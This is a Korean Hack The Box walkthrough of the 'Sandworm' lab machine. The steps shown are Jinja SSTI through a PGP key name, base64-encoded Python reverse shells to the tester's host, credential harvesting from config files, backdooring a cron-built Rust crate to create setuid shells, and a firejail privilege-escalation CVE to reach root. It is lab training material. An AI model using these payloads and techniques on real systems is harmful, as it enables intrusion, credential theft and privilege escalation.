Hack The Box의 오픈베타 시즌이 끝나고 공식 시즌으로 시즌2가 시작됐다. 첫번째 머신으로 Sandworm
머신이 출시됐고 이를 해결하는 과정을 기록한다.
보통 22/tcp
, 80/tcp
가 오픈되어있지만 이번 머신은 인증서가 등록돼있다(?) 그렇기에 443/tcp
또한 같이 스캔되며, 웹서비스 접근 시 ssa.htb
접근할 수 있다.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-19 09:27 KST
Nmap scan report for ssa.htb (10.10.11.218)
Host is up (0.27s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.26 seconds
웹 서비스 접근 시 아래와 같은 페이지를 볼 수 있다. 하단에 Powered by Flask
라는 문구도 확인할 수 있다.
서비스를 둘어보면 /contact
경로에 /guide
로 접근할 수 있는 링크가있다.
guide 페이지에서는 PGP에 사용할 수 있는 public key와 해당 키를 통해 암호화된 메세지를 복호화할 수 있는 기능이 있다.
링크된 /pgp
경로에서 public key를 다운로드받아 pgp 키 생성 및 암복호화, 사인, 검증 등을 진행할 수 있는 pgp-pysuite를 통해 암호화된 메세지를 생성하여 암호화 텍스트에 입력 시 서버에서 복호화하여 메세지를 출력해준다.
% python3 encrypt.py -c ssa.pub -m "{{7*7}}"
-----BEGIN PGP MESSAGE-----
hQIMA2u3M9ko0UzmARAAmAJnNjhXl2Lz6OGSRu6qW/KEUTNM9cPtx+W4EIEUzxkZ
wfuAQmFKQngepOnl50/J45JxitNL5rQWYzXFeQsxkLNcPR234+lOMXHCFMwcNAx0
dDLX8xm5Kv7kWQjP3/3FhU7qSySixAVYp22yMnDBF9CS0ywk3tG5FBCzv3/um9Ct
Fp8CnkKvU513xAPy8WXyfZWjZpuvlWVWHXdZIbfYhfv9onEZAIpJZRqaK/HBmirf
MwA4IX5pe4JsD2J/QjbKAhynpmUrFWqVjs8V8i7ZmZrMR3x1u/yaqv9DN9mv09JJ
gy3wDRafAP545J1zJFE4R67Uq9emxFHu4atOsBrtIDuc6rRU1TsGRptUP5Ly5moI
2xkz8NreKBl9O2NeWhTgL+RNQPcx+tmls57q002Jal2GA47EWaGQRr87QdQrRvX2
j45LIiWUo2Kae2s0UAa6LSTyBLxti6fKzFuCNoBxn/Rk90Kmwr6MMt2ob865WP4b
i1YGP71seObN6dFKC1K7CaZ5kBC4qTJUJe8znZrSO4YNB6h3uu/A8UQw3lP2XEyl
oR0IV0vm91uP1dUAGC3BWlTwp6k3WJNLOt/3QxXBXfNdXff/9CmlWBQaw4LMWS3c
7BNmhkE8xv3cweVvn4y1c7ZOG7LTmYvin4ml581hs+2N44LnV5KWMtGQfuxOwM3U
TAEJAhDT7cVSmMqIoA7R3oNbYz0v2BsNg7ekhBaLcMUB8ruaOOZJpjjX9lQzLsf+
mxHIpZShUOqHvH3oQCdYmduDgS1/1WtFY8Hb4QY=
=X/tv
-----END PGP MESSAGE-----
다음은 개인의 public key를 이용해서 메세지를 생성해주는 기능이 있다. 다운받은 pgp-pysuite
의 keygen.py
를 이용하여 개인키와 공개키를 생성하여 공개키 필드에 공개키 값을 입력한다.
% python3 keygen.py -n juicemon -p password -e juicemon@htb.com
[+] Keys generated successfully
전달받은 암호화된 메세지를 저장하고 복호화하면 다음과같은 메세지를 확인할 수 있다.
% python3 decrypt.py -k keypgp_uwu.key.asc -p password -m msg.txt
This is an encrypted message for juicemon <juicemon@htb.com>.
If you can read this, it means you successfully used your private PGP key to decrypt a message meant for you and only you.
Congratulations! Feel free to keep practicing, and make sure you also know how to encrypt, sign, and verify messages to make your repertoire complete.
SSA: 06/23/2023-06;54;13
마지막으로 공개키와 사인된 메세지를 입력하면 옳바른 키를 통해 암호화된 메세지인지 검증해주는 기능이있다. 메세지를 사인하고 사인된 메세지와 공개키를 입력한다.
% python3 sign.py -c keypgp_uwu.pub.asc -k keypgp_uwu.key.asc -p password -m test
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
test
-----BEGIN PGP SIGNATURE-----
iQEzBAEBCAAdFiEEXQWmCWEsXJXuI2iMKsWSyivvB5MFAmSVQj0ACgkQKsWSyivv
B5PUxgf9EFMGc09Xjwa12YclBgd6x5XHZymKVYzRXrtmcHj/soX6csLQPoVRylYp
ENy+ycBoYjLuv86VMkU2GmROR6/2aMzfsnNUyWl/xWkx0FPN90Bx17IE1RjTyx+A
ua8y4zhWP9TYkjvp4ut+K8pcQheEvVVhrX74yWDJAahOE0cD8aCptNQsCHnnLQ0O
+vv6EsxVR2Og2osSGiivAa6JV8Ppe2zH9pi1RYwhTxTSZDENWhjxQ2xeEo61LtmX
8vWR2rLi3DZtRThAR+7NjMGL/CyQ74clwpkqLYxg4Z+QNgz5p8i65CJ2NtyMgKxs
Oe9IV7djB80X1vi2ZTbqBv0c6nJQcw==
=D5HH
-----END PGP SIGNATURE-----
여기에 PGP 공개키 사용자명이 입려된다. 공격을 위해 키 사용자명을 {{7*7}}
로 지정하고 새로운 키를 만들어 사인하고 값들을 입력하니 49가 출력되었다.
% python3 keygen.py -n "{{7*7}}" -p password -e juicemon@htb.com
[+] Keys generated successfully
% python3 sign.py -c keypgp_uwu.pub.asc -k keypgp_uwu.key.asc -p password -m test
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
test
-----BEGIN PGP SIGNATURE-----
iQEzBAEBCAAdFiEEj/ZOmoZNlNqfUXUY8e2P/e0MFZMFAmSVQ8sACgkQ8e2P/e0M
FZNqeQgAjXLzFVpTM7gIvpOGigBPstnY300amPaQcZr6DjGflAFTm6BF+Er1D4sX
iFME4fp5ytQ9imYsuYYmfBxqfW05QuLtca96Qh5eiqm9/E7oXw3KR7FtS1oSVLgc
CZZFa9sh8HAmEHtIqtj3xo1wwpI3osrTPGeaMkC7kLrNTcGIhjIGRGd5UoNDRzKJ
jz5AFy4ZknhCDK1iP1IG9y39S3e54T7eSsqxaYEeyFjPN+zqC4ZRmujNGmRJiAda
camXDeqnWtOwphhWDUSbNBiZhgXOiGLid3b/iZfy5XBwL9mukDzTI8Fuc7yqZAN2
AN65CPOzFuFhWwYFYpMlBK66/BmX2w==
=01oO
-----END PGP SIGNATURE-----
PayloadsAllTheThings/SSTI를 참고하여 빠르게 리버스 커넥션을 맺는 페이로드를 키의 사용자명으로 등록하고 생성하여 입력하여 쉘을 획득한다.
% python3 keygen.py -p password -n "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjYiLDkwMDEpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7aW1wb3J0IHB0eTsgcHR5LnNwYXduKCJiYXNoIikn | base64 -d | bash').read() }}" -e test@htb.com
[+] Keys generated successfully
% python3 sign.py -c keypgp_uwu.pub.asc -k keypgp_uwu.key.asc -p password -m test
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
test
-----BEGIN PGP SIGNATURE-----
iQEzBAEBCAAdFiEE6zCReqcSNnK72kxAN0urfqrUxwUFAmSVRosACgkQN0urfqrU
xwXIOwgAiGt1+W2qiYe0/3h8BX3b8B6puU29aRoyQxsS0jqjq9s9cngohOh75swy
+HhTtbRwhje5HRxxXc185jKKS95gjuVuYCwC2Eu3EDs0iRsOzsurjyPPRmfOTnTd
LBWJjZNRMoeyxWZHBkEDPlGF6Whc+kCmdh4KaKXOdOt5g55tX4uUXBojHyoLaTHA
Rhxh3LkfG841yf9hwLQhr0EWndSsAq9hKvKQpiZ4O/Y+BilOt88Q9PYMjcoDiP83
SWBNFBd4a+YuJXO9oxxzoZ+a7lTh8uN5vRWfAG2MmvvFUgTTywaCz6lj/WIZGbFz
LBkyWHzL/BuT7I1FvYSjGbNVNowyXg==
=s8WG
-----END PGP SIGNATURE-----
atlas@sandworm:/var/www/html/SSA$ id
uid=1000(atlas) gid=1000(atlas) groups=1000(atlas)
/var/www/html/SSA/SSA
경로에 운영중인 Flask 소스코드가 위치했다. __init__py
에서 DB 접근 정보를 찾을 수 있었다.
하지만 현재 mysql client가 설치되어있지 않아 접근할 수 없었다. SSTI로 RCE를 진행하면서도 약간 수상했지만 현재 쉘에서 명령어 사용이 너무 제한되고있어 컨테이너이거나 샌드박싱되어있다고 예상했다.
from flask import Flask
from flask_login import LoginManager
from flask_sqlalchemy import SQLAlchemy
db = SQLAlchemy()
def create_app():
app = Flask(__name__)
app.config['SECRET_KEY'] = '91668c1bc67132e3dcfb5b1a3e0c5c21'
app.config['SQLALCHEMY_DATABASE_URI'] = 'mysql://atlas:안보여줌@127.0.0.1:3306/SSA'
db.init_app(app)
# blueprint for non-auth parts of app
from .app import main as main_blueprint
app.register_blueprint(main_blueprint)
login_manager = LoginManager()
login_manager.login_view = "main.login"
login_manager.init_app(app)
from .models import User
@login_manager.user_loader
def load_user(user_id):
return User.query.get(int(user_id))
return app
atlas
쉘에서 시스템 파일을 정찰하다가 $HOME/.config/httpie/sessions/localhost_5000/admin.json
파일에서 silentobserver
계정 정보를 확인할 수 있었다.
atlas@sandworm:~/.config/httpie/sessions/localhost_5000$ cat ./admin.json
{
"__meta__": {
"about": "HTTPie session file",
"help": "https://httpie.io/docs#sessions",
"httpie": "2.6.0"
},
"auth": {
"password": "안보여줌",
"type": null,
"username": "silentobserver"
},
"cookies": {
"session": {
"expires": null,
"path": "/",
"secure": false,
"value": "eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIkludmFsaWQgY3JlZGVudGlhbHMuIl19XX0.Y-I86w.JbELpZIwyATpR58qg1MGJsd6FkA"
}
},
"headers": {
"Accept": "application/json, */*;q=0.5"
}
}
위에서 확인한 silentobserver 계정정보로 SSH 접근이 가능했다.
silentobserver@sandworm:~$ id
uid=1001(silentobserver) gid=1001(silentobserver) groups=1001(silentobserver)
atlas 쉘에서 접근할 수 없던 mysql client를 확인하고 정보를 파악하였다.
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| SSA |
| information_schema |
| performance_schema |
+--------------------+
mysql> show tables;
+---------------+
| Tables_in_SSA |
+---------------+
| users |
+---------------+
JohnTheRipper와 hashcat으로 한시간 넘게 크랙시도했으나 크랙되지않았다. 🤮
mysql> select * from users;
+----+----------------+--------------------------------------------------------------------------------------------------------+
| id | username | password |
+----+----------------+--------------------------------------------------------------------------------------------------------+
| 1 | Odin | pbkdf2:sha256:260000$q0WZMG27Qb6XwVlZ$12154640f87817559bd450925ba3317f93914dc22e2204ac819b90d60018bc1f |
| 2 | silentobserver | pbkdf2:sha256:260000$kGd27QSYRsOtk7Zi$0f52e0aa1686387b54d9ea46b2ac97f9ed030c27aac4895bed89cb3a4e09482d |
+----+----------------+--------------------------------------------------------------------------------------------------------+
pspy64를 통해 root 계정으로 동작되고있는 cron 작업을 확인할 수 있었다.
root에서 sudo를 통해 atlas 계정 권한으로 rust 빌드 및 실행을하면서 인자로 "e"를 넘긴다.
아쉽게도 탈취한 두 계정 모두 쓰기권한은 없다.
2023/06/19 08:18:01 CMD: UID=0 PID=49567 | /usr/sbin/CRON -f -P
2023/06/19 08:18:01 CMD: UID=0 PID=49569 | /bin/sh -c cd /opt/tipnet && /bin/echo "e" | /bin/sudo -u atlas /usr/bin/cargo run --offline
2023/06/19 08:18:01 CMD: UID=0 PID=49571 | /bin/sudo -u atlas /usr/bin/cargo run --offline
2023/06/19 08:18:01 CMD: UID=0 PID=49573 | sleep 10
2023/06/19 08:18:01 CMD: UID=0 PID=49572 | /bin/sh -c sleep 10 && /root/Cleanup/clean_c.sh
2023/06/19 08:18:01 CMD: UID=1000 PID=49574 | /bin/sudo -u atlas /usr/bin/cargo run --offline
2023/06/19 08:18:01 CMD: UID=1000 PID=49575 | rustc -vV
2023/06/19 08:18:01 CMD: UID=1000 PID=49576 |
2023/06/19 08:18:01 CMD: UID=1000 PID=49578 | rustc - --crate-name ___ --print=file-names --crate-type bin --crate-type rlib --crate-type dylib --crate-type cdylib --crate-type staticlib --crate-type proc-macro --print=sysroot --print=cfg
2023/06/19 08:18:01 CMD: UID=1000 PID=49580 | /usr/bin/cargo run --offline
2023/06/19 08:18:11 CMD: UID=0 PID=49585 | /bin/bash /root/Cleanup/clean_c.sh
2023/06/19 08:18:11 CMD: UID=0 PID=49586 | /bin/rm -r /opt/crates
2023/06/19 08:18:11 CMD: UID=0 PID=49587 | /bin/bash /root/Cleanup/clean_c.sh
2023/06/19 10:25:01 CMD: UID=0 PID=58139 | /usr/sbin/CRON -f -P
2023/06/19 10:25:01 CMD: UID=0 PID=58142 | /bin/cp -p /root/Cleanup/webapp.profile /home/atlas/.config/firejail/
2023/06/19 10:25:01 CMD: UID=0 PID=58141 | /bin/bash /root/Cleanup/clean.sh
2023/06/19 10:25:01 CMD: UID=0 PID=58140 | /bin/sh -c /bin/bash /root/Cleanup/clean.sh
2023/06/19 10:25:01 CMD: UID=0 PID=58143 | /bin/cp -p /root/Cleanup/admin.json /home/atlas/.config/httpie/sessions/localhost_5000/
소스코드는 /opt/tipnet/src/main.rs
단일이였고 옵션에 따라 그에 맞는 동작을 진행한다.
extern crate logger;
use sha2::{Digest, Sha256};
use chrono::prelude::*;
use mysql::*;
use mysql::prelude::*;
use std::fs;
use std::process::Command;
use std::io;
// We don't spy on you... much.
struct Entry {
timestamp: String,
target: String,
source: String,
data: String,
}
fn main() {
println!("
,,
MMP\"\"MM\"\"YMM db `7MN. `7MF' mm
P' MM `7 MMN. M MM
MM `7MM `7MMpdMAo. M YMb M .gP\"Ya mmMMmm
MM MM MM `Wb M `MN. M ,M' Yb MM
MM MM MM M8 M `MM.M 8M\"\"\"\"\"\" MM
MM MM MM ,AP M YMM YM. , MM
.JMML. .JMML. MMbmmd'.JML. YM `Mbmmd' `Mbmo
MM
.JMML.
");
let mode = get_mode();
if mode == "" {
return;
}
else if mode != "upstream" && mode != "pull" {
println!("[-] Mode is still being ported to Rust; try again later.");
return;
}
let mut conn = connect_to_db("Upstream").unwrap();
if mode == "pull" {
let source = "/var/www/html/SSA/SSA/submissions";
pull_indeces(&mut conn, source);
println!("[+] Pull complete.");
return;
}
println!("Enter keywords to perform the query:");
let mut keywords = String::new();
io::stdin().read_line(&mut keywords).unwrap();
if keywords.trim() == "" {
println!("[-] No keywords selected.\n\n[-] Quitting...\n");
return;
}
println!("Justification for the search:");
let mut justification = String::new();
io::stdin().read_line(&mut justification).unwrap();
// Get Username
let output = Command::new("/usr/bin/whoami")
.output()
.expect("nobody");
let username = String::from_utf8(output.stdout).unwrap();
let username = username.trim();
if justification.trim() == "" {
println!("[-] No justification provided. TipNet is under 702 authority; queries don't need warrants, but need to be justified. This incident has been logged and will be reported.");
logger::log(username, keywords.as_str().trim(), "Attempted to query TipNet without justification.");
return;
}
logger::log(username, keywords.as_str().trim(), justification.as_str());
search_sigint(&mut conn, keywords.as_str().trim());
}
fn get_mode() -> String {
let valid = false;
let mut mode = String::new();
while ! valid {
mode.clear();
println!("Select mode of usage:");
print!("a) Upstream \nb) Regular (WIP)\nc) Emperor (WIP)\nd) SQUARE (WIP)\ne) Refresh Indeces\n");
io::stdin().read_line(&mut mode).unwrap();
match mode.trim() {
"a" => {
println!("\n[+] Upstream selected");
return "upstream".to_string();
}
"b" => {
println!("\n[+] Muscular selected");
return "regular".to_string();
}
"c" => {
println!("\n[+] Tempora selected");
return "emperor".to_string();
}
"d" => {
println!("\n[+] PRISM selected");
return "square".to_string();
}
"e" => {
println!("\n[!] Refreshing indeces!");
return "pull".to_string();
}
"q" | "Q" => {
println!("\n[-] Quitting");
return "".to_string();
}
_ => {
println!("\n[!] Invalid mode: {}", mode);
}
}
}
return mode;
}
fn connect_to_db(db: &str) -> Result<mysql::PooledConn> {
let url = "mysql://tipnet:4The_Greater_GoodJ4A@localhost:3306/Upstream";
let pool = Pool::new(url).unwrap();
let mut conn = pool.get_conn().unwrap();
return Ok(conn);
}
fn search_sigint(conn: &mut mysql::PooledConn, keywords: &str) {
let keywords: Vec<&str> = keywords.split(" ").collect();
let mut query = String::from("SELECT timestamp, target, source, data FROM SIGINT WHERE ");
for (i, keyword) in keywords.iter().enumerate() {
if i > 0 {
query.push_str("OR ");
}
query.push_str(&format!("data LIKE '%{}%' ", keyword));
}
let selected_entries = conn.query_map(
query,
|(timestamp, target, source, data)| {
Entry { timestamp, target, source, data }
},
).expect("Query failed.");
for e in selected_entries {
println!("[{}] {} ===> {} | {}",
e.timestamp, e.source, e.target, e.data);
}
}
fn pull_indeces(conn: &mut mysql::PooledConn, directory: &str) {
let paths = fs::read_dir(directory)
.unwrap()
.filter_map(|entry| entry.ok())
.filter(|entry| entry.path().extension().unwrap_or_default() == "txt")
.map(|entry| entry.path());
let stmt_select = conn.prep("SELECT hash FROM tip_submissions WHERE hash = :hash")
.unwrap();
let stmt_insert = conn.prep("INSERT INTO tip_submissions (timestamp, data, hash) VALUES (:timestamp, :data, :hash)")
.unwrap();
let now = Utc::now();
for path in paths {
let contents = fs::read_to_string(path).unwrap();
let hash = Sha256::digest(contents.as_bytes());
let hash_hex = hex::encode(hash);
let existing_entry: Option<String> = conn.exec_first(&stmt_select, params! { "hash" => &hash_hex }).unwrap();
if existing_entry.is_none() {
let date = now.format("%Y-%m-%d").to_string();
println!("[+] {}\n", contents);
conn.exec_drop(&stmt_insert, params! {
"timestamp" => date,
"data" => contents,
"hash" => &hash_hex,
},
).unwrap();
}
}
logger::log("ROUTINE", " - ", "Pulling fresh submissions into database.");
}
위 소스코드에서 가장 첫줄에서 확인할 수 있는 extern crate logger;
구문을 통해 외부 코드를 가져오는것을 확인했고 해당 코드는 /opt/crates/logger/src/lib.rs
에 위치했고 쓰기 권한이 존재했다!
silentobserver@sandworm:/opt/crates/logger/src$ ls -al
total 12
drwxrwxr-x 2 atlas silentobserver 4096 May 4 17:12 .
drwxr-xr-x 5 atlas silentobserver 4096 May 4 17:08 ..
-rw-rw-r-- 1 atlas silentobserver 732 May 4 17:12 lib.rs
extern crate chrono;
use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;
pub fn log(user: &str, query: &str, justification: &str) {
let now = Local::now();
let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);
let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") {
Ok(file) => file,
Err(e) => {
println!("Error opening log file: {}", e);
return;
}
};
if let Err(e) = file.write_all(log_message.as_bytes()) {
println!("Error writing to log file: {}", e);
}
}
위에서 쓰기권한이 존재하는 것을 파악하고 pspy64를 통해 알게된 root의 cron 작업이 2분마다 실행되는것을 파악했다.2분내로 lib.rs
파일을 수정하면 공격자가 작성한 코드가 포함된 tipnet이 빌드된다.결과적으로 아래와 같은 코드로 수정한다.
extern crate chrono;
use std::fs::OpenOptions;
use std::io::Write;
use std::process::Command;
use chrono::prelude::*;
pub fn log(user: &str, query: &str, justification: &str) {
let cp_output = Command::new("/usr/bin/cp")
.arg("/usr/bin/bash")
.arg("/tmp/bash")
.output()
.expect("Failed to execute cp command");
if cp_output.status.success() {
println!("cp command executed successfully!");
let chmod_output = Command::new("/usr/bin/chmod")
.arg("u+s")
.arg("/tmp/bash")
.output()
.expect("Failed to execute chmod command");
if chmod_output.status.success() {
println!("chmod command executed successfully!");
} else {
println!("chmod command failed to execute:\n{}", String::from_utf8_lossy(&chmod_output.stderr));
}
} else {
println!("cp command failed to execute:\n{}", String::from_utf8_lossy(&cp_output.stderr));
}
let now = Local::now();
let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);
let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") {
Ok(file) => file,
Err(e) => {
println!("Error opening log file: {}", e);
return;
}
};
if let Err(e) = file.write_all(log_message.as_bytes()) {
println!("Error writing to log file: {}", e);
}
}
그치만 여기서 의문인것은 root 권한으로 cargo가 동작하는것이 아니라 이미 획득한 atlas 계정으로 cargo가 동작한다... 결과적으로 /tmp/bash
는 atlas 계정 소유의 SetUID가 활성화된 파일이 복사가된다.
어쨋거나 lib.rs에 코드를 삽입하여 빌드시 실행이 가능하다는것을 확인했다.
silentobserver@sandworm:/tmp$ ls -al ./bash
-rwsr-xr-x 1 atlas atlas 1396520 Jun 23 07:48 ./bash
어찌됐든 위에서 언급했던 샌드박스나 컨테이너 환경일것으로 예상됐던 부분이 /home/atlas/.config/firejail/webapp.profile
을 통해서 확실하게 확인됐고 firejail
을 통해 flask을 실행 시켰던것이다.
noblacklist /var/run/mysqld/mysqld.sock
hostname sandworm
seccomp
noroot
allusers
caps.drop dac_override,fowner,setuid,setgid
seccomp.drop chmod,fchmod,setuid
private-tmp
private-opt none
private-dev
private-bin /usr/bin/python3,/usr/local/bin/gpg,/bin/bash,/usr/bin/flask,/usr/local/sbin/gpg,/usr/bin/groups,/usr/bin/base64,/usr/bin/lesspipe,/usr/bin/basename,/usr/bin/filename,/usr/bin/bash,/bin/sh,/usr/bin/ls,/usr/bin/cat,/usr/bin/id,/usr/local/libexec/scdaemon,/usr/local/bin/gpg-agent
#blacklist ${HOME}/.ssh
#blacklist /opt
blacklist /home/silentobserver
whitelist /var/www/html/SSA
read-write /var/www/html/SSA/SSA/submissions
noexec /var/www/html/SSA/SSA/submissions
read-only ${HOME}
read-write ${HOME}/.gnupg
firejail 설정파일로 보이는 내용에서 실행 가능한 명렁어를 지정해놨는데 SSTI로 획득한 atlas의 쉘에서 확인해보면 정말 지정된 명령어만 보이고있다.
atlas@sandworm:~/.config$ ls -al /usr/bin
total 14304
drwxr-xr-x 2 nobody nogroup 340 Jun 23 06:37 .
drwxr-xr-x 14 nobody nogroup 4096 Jun 6 11:49 ..
-rwxr-xr-x 1 nobody nogroup 35328 Jun 23 06:37 base64
-rwxr-xr-x 1 nobody nogroup 35328 Jun 23 06:37 basename
-rwxr-xr-x 1 nobody nogroup 1396520 Jun 23 06:37 bash
-rwxr-xr-x 1 nobody nogroup 35280 Jun 23 06:37 cat
-rwxr-xr-x 1 nobody nogroup 125688 Jun 23 06:37 dash
-rwxr-xr-x 1 nobody nogroup 948 Jun 23 06:37 flask
-rwxr-xr-x 1 nobody nogroup 4898752 Jun 23 06:37 gpg
-rwxr-xr-x 1 nobody nogroup 1960456 Jun 23 06:37 gpg-agent
-rwxr-xr-x 1 nobody nogroup 35328 Jun 23 06:37 groups
-rwxr-xr-x 1 nobody nogroup 39424 Jun 23 06:37 id
-rwxr-xr-x 1 nobody nogroup 9047 Jun 23 06:37 lesspipe
-rwxr-xr-x 1 nobody nogroup 138208 Jun 23 06:37 ls
lrwxrwxrwx 1 nobody nogroup 19 Jun 23 06:37 python3 -> /usr/bin/python3.10
-rwxr-xr-x 1 nobody nogroup 5912968 Jun 23 06:37 python3.10
lrwxrwxrwx 1 nobody nogroup 13 Jun 23 06:37 sh -> /usr/bin/dash
lib.rs에 코드를 삽입해서 생성한 atlas의 /tmp/bash를 통해 atlas 권한을 획득하고 firejail을 조사하다보니 jailer
라는 그룹이 존재했고 이미 쉘을 획득한 atlas 계정이 그룹에 등록되어있다.
bash-5.1$ ls -al /usr/local/bin/firejail
-rwsr-x--- 1 root jailer 1777952 Nov 29 2022 /usr/local/bin/firejail
bash-5.1$ cat /etc/group | grep jailer
jailer:x:1002:atlas
다시한번 lib.rs에 코드를 수정한다. 기존에는 SetUID만 지정했지만 이번엔 SetGID까지 지정하여 firejail 명령어를 실행할 수 있는 권한인 jailer그룹의 권한을 빌린다.
extern crate chrono;
use std::fs::OpenOptions;
use std::io::Write;
use std::process::Command;
use chrono::prelude::*;
pub fn log(user: &str, query: &str, justification: &str) {
let cp_output = Command::new("/usr/bin/cp")
.arg("/usr/bin/bash")
.arg("/tmp/bash")
.output()
.expect("Failed to execute cp command");
if cp_output.status.success() {
println!("cp command executed successfully!");
let chmod_output = Command::new("/usr/bin/chmod")
.arg("u+s,g+s")
.arg("/tmp/bash")
.output()
.expect("Failed to execute chmod command");
if chmod_output.status.success() {
println!("chmod command executed successfully!");
} else {
println!("chmod command failed to execute:\n{}", String::from_utf8_lossy(&chmod_output.stderr));
}
} else {
println!("cp command failed to execute:\n{}", String::from_utf8_lossy(&cp_output.stderr));
}
let now = Local::now();
let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);
let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") {
Ok(file) => file,
Err(e) => {
println!("Error opening log file: {}", e);
return;
}
};
if let Err(e) = file.write_all(log_message.as_bytes()) {
println!("Error writing to log file: {}", e);
}
}
코드가 실행되면서 SetUID, SetGID가 모두 붙게되었다.
silentobserver@sandworm:/tmp$ ls -al /tmp/bash
-rwsr-sr-x 1 atlas atlas 1396520 Jun 23 08:14 /tmp/bash
하지만 firejail 실행이 안된다. 바보같은 짓을 했다.(ㅎ)
silentobserver@sandworm:/tmp$ ./bash -p
bash-5.1$ id
uid=1001(silentobserver) gid=1001(silentobserver) euid=1000(atlas) egid=1000(atlas) groups=1000(atlas),1001(silentobserver)
bash-5.1$ firejail
bash: /usr/local/bin/firejail: Permission denied
bash-5.1$ ls -al /usr/local/bin/firejail
-rwsr-x--- 1 root jailer 1777952 Nov 29 2022 /usr/local/bin/firejail
어쩔수없이 atlas의 완전한 쉘을 탈취하기위해 lib.rs에 리버스 커넥션 코드를 입력하였다.
extern crate chrono;
use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;
use std::process::Command;
pub fn log(user: &str, query: &str, justification: &str) {
let output = Command::new("bash")
.arg("-c")
.arg("echo cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjYiLDkwMDMpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7aW1wb3J0IHB0eTsgcHR5LnNwYXduKCJiYXNoIikn | base64 -d | bash")
.output()
.expect("Failed to execute command.");
if output.status.success() {
let stdout = String::from_utf8_lossy(&output.stdout);
let stderr = String::from_utf8_lossy(&output.stderr);
println!("stdout: {}", stdout);
println!("stderr: {}", stderr);
} else {
let stderr = String::from_utf8_lossy(&output.stderr);
eprintln!("Command failed: {}", stderr);
}
let now = Local::now();
let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
let log_message = format!("[{}] - User: {}, Query: {}, juicemontest: {}\n", timestamp, user, query, justification);
let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") {
Ok(file) => file,
Err(e) => {
println!("Error opening log file: {}", e);
return;
}
};
if let Err(e) = file.write_all(log_message.as_bytes()) {
println!("Error writing to log file: {}", e);
}
}
2분뒤 cargo 빌드가 실행되면서 lib.rs의 리버스 커넥션 코드가 실행되고 드디어 jailer 그룹이 포함된 atlas 쉘을 획득할 수 있었다.
이후 다시 접속하기 용이하도록 /home/atlas/.ssh/authorized_keys에 공격자 공개키를 등록하였다.
atlas@sandworm:/opt/tipnet$ id
uid=1000(atlas) gid=1000(atlas) groups=1000(atlas),1002(jailer)
firejail의 버전은 다음과 같이 확인된다.
atlas@sandworm:/opt/tipnet$ firejail --version
firejail version 0.9.68
Compile time support:
- always force nonewprivs support is disabled
- AppArmor support is disabled
- AppImage support is enabled
- chroot support is enabled
- D-BUS proxy support is enabled
- file transfer support is enabled
- firetunnel support is enabled
- networking support is enabled
- output logging is enabled
- overlayfs support is disabled
- private-home support is enabled
- private-cache and tmpfs as user enabled
- SELinux support is disabled
- user namespace support is enabled
- X11 sandboxing support is enabled
해당 버전에서는 CVE-2022-31214 취약점이 존재했고 exploit 까지 공개된 상태이다.
다운받은 exploit을 실행하면 다음과 같이 다른 쉘에서 명령어을 추가적으로 진행하라고 안내된다.
atlas@sandworm:/tmp$ python3 ./firejail-exploit.py
You can now run 'firejail --join=4462' in another terminal to obtain a shell where 'sudo su -' should grant you a root shell.
새로운 쉘에 접근하여 위 명령어를 실행한다. 뭔가 샌드박스로 들어온거같긴하지만 sudo su -
명령이 먹히질않는다.
atlas@sandworm:~$ firejail --join=4462
changing root to /proc/4462/root
Warning: cleaning all supplementary groups
Child process initialized in 10.07 ms
atlas@sandworm:~$ sudo su -
atlas is not in the sudoers file. This incident will be reported.
그냥 su -
를 입력하니 잘된다....ㅋㅋ
atlas@sandworm:~$ su -
root@sandworm:~# id
uid=0(root) gid=0(root) groups=0(root)